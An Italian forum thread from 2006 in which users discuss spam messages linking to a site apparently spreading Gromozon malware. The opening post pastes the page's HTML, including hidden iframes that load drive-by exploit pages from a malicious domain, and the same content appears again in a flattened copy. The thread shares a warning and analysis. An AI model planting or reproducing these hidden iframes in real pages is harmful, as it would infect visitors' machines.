people1000

*Nexus* · 12-10-2006, 21:19

Da un paio di giorni mi arrivano strani pm con il link al sito people1000 (http://[QUESTO NO]people1000.com/?Usu) il sito dopo aver fatto qualche prova dovrebbe contenere lo stesso malware di gromozon visto che solo disabilitando momentaneamente la rule al firewall che avevo creato (block all inbound and outbound tcp connection where remote address 82.255.114.158) il kaspersky rivela il malware sulla pagina, invece con la rule attiva tutto tace.

Il browser usato è firefox 2.0 beta 2, l'html della pagina è:

Codice:

<html>
<title>under construction</title>
<body>
<iframe src="http://idkqzshcjxr.com/page.php?10512" frameborder=0 width=1 height=1 scrolling=no></iframe>
<center><font size=12><b>under construction </b></font></center>
<table height=100%>
<tr height=100% valign=bottom><td>
<!--LiveInternet counter--><script type="text/javascript"><!--
document.write('<a href="http://www.liveinternet.ru/click" '+
'target=_blank><img src="http://counter.yadro.ru/hit?t44.6;r'+
escape(document.referrer)+((typeof(screen)=='undefined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape(document.URL)+
';'+Math.random()+
'" alt="" title="LiveInternet" '+
'border=0 width=31 height=31><\/a>')//--></script><!--/LiveInternet-->
</td></tr>
</table>
</body>
</html>

L'html della pagina dove risiede fisicamente il malware è:

Codice:

<iframe src="http://idkqzshcjxr.com/6edc9896/10512/9/wmp_nt.htm" width=1 height=1></iframe><iframe src="http://idkqzshcjxr.com/6edc9896/10512/1/firefox.php" width=9 height=9 style=display:none></iframe>

Spero di esser stato utile, volevo saperne qualcosa di più su questa infezione e su come i bot automatici siano riusciti ad infilarsi anche in forum molto famosi. (basta fare una ricerchina il google per trovare molti forum vittima di questo spamming virale: http://www.google.it/search?hl=it&q=...nG=Cerca&meta= )

Grazie

juninho85 · 12-10-2006, 21:44

...non su questo sito vero?

*Nexus* · 12-10-2006, 21:47

No

phpbb.it per esempio.

juninho85 · 12-10-2006, 21:51

Quote:

Originariamente inviato da *Nexus*

No

phpbb.it per esempio.

immaginavo..comunque è capitato pure a me,me la son puzzata subito e non ho cliccato sul link

magari edita gli indirizzi,si sa mai...

IpseDixit · 12-10-2006, 21:52

E' un bug dei forum phpbb

meghas · 17-10-2006, 17:16

ewido lo cancella tranquillamente ???

12-10-2006, 21:19	#1
Nexus Senior Member Iscritto dal: May 2005 Città: Milano Messaggi: 365	people1000 Da un paio di giorni mi arrivano strani pm con il link al sito people1000 (http://[QUESTO NO]people1000.com/?Usu) il sito dopo aver fatto qualche prova dovrebbe contenere lo stesso malware di gromozon visto che solo disabilitando momentaneamente la rule al firewall che avevo creato (block all inbound and outbound tcp connection where remote address 82.255.114.158) il kaspersky rivela il malware sulla pagina, invece con la rule attiva tutto tace. Il browser usato è firefox 2.0 beta 2, l'html della pagina è: Codice: <html> <title>under construction</title> <body> <iframe src="http://idkqzshcjxr.com/page.php?10512" frameborder=0 width=1 height=1 scrolling=no></iframe> <center><font size=12><b>under construction </b></font></center> <table height=100%> <tr height=100% valign=bottom><td> <!--LiveInternet counter--><script type="text/javascript"><!-- document.write('<a href="http://www.liveinternet.ru/click" '+ 'target=_blank><img src="http://counter.yadro.ru/hit?t44.6;r'+ escape(document.referrer)+((typeof(screen)=='undefined')?'': ';s'+screen.width+''+screen.height+''+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+';u'+escape(document.URL)+ ';'+Math.random()+ '" alt="" title="LiveInternet" '+ 'border=0 width=31 height=31><\/a>')//--></script><!--/LiveInternet--> </td></tr> </table> </body> </html> L'html della pagina dove risiede fisicamente il malware è: Codice: <iframe src="http://idkqzshcjxr.com/6edc9896/10512/9/wmp_nt.htm" width=1 height=1></iframe><iframe src="http://idkqzshcjxr.com/6edc9896/10512/1/firefox.php" width=9 height=9 style=display:none></iframe> Spero di esser stato utile, volevo saperne qualcosa di più su questa infezione e su come i bot automatici siano riusciti ad infilarsi anche in forum molto famosi. (basta fare una ricerchina il google per trovare molti forum vittima di questo spamming virale: http://www.google.it/search?hl=it&q=...nG=Cerca&meta= ) Grazie

12-10-2006, 21:44	#2
juninho85 Bannato Iscritto dal: Mar 2004 Città: Galapagos Attenzione:utente flautolente,tienilo a mente Messaggi: 29028	...non su questo sito vero?

12-10-2006, 21:47	#3
Nexus Senior Member Iscritto dal: May 2005 Città: Milano Messaggi: 365	No phpbb.it per esempio.

12-10-2006, 21:52	#5
IpseDixit Senior Member Iscritto dal: Apr 2004 Messaggi: 350	E' un bug dei forum phpbb

17-10-2006, 17:16	#6
meghas Junior Member Iscritto dal: Oct 2006 Messaggi: 14	ewido lo cancella tranquillamente ???

Strumenti
Mostra una versione stampabile Invia questa pagina per email